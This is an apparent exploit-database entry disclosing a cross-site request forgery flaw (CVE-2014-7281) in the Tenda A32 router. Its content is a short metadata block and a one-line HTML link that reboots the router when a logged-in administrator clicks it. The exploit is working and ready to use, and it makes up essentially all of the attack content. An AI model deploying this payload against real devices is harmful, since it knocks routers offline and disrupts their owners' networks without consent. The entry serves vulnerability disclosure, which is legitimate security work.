Tenda A32 Router - Cross-Site Request Forgery

Author: zixian
type: webapps
platform: hardware
port: 
date_added: 2014-10-14 
date_updated: 2014-10-14 
verified: 0 
codes: CVE-2014-7281;OSVDB-113308 
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: Tenda A32 Router CSRF Vulnerability(reboot the Router)
# CVE ID :CVE-2014-7281
# Date: 2014-10-10
# Exploit Author: zixian
# Vendor Homepage: http://tenda.com.cn/
# Software Link: http://tenda.com.cn/Catalog/Product/325
# Version: V5.07.53_CN



When the administrator login, click on the link below， the device will reboot。


<a href="http://192.168.2.1/goform/SysToolReboot">reboot</a>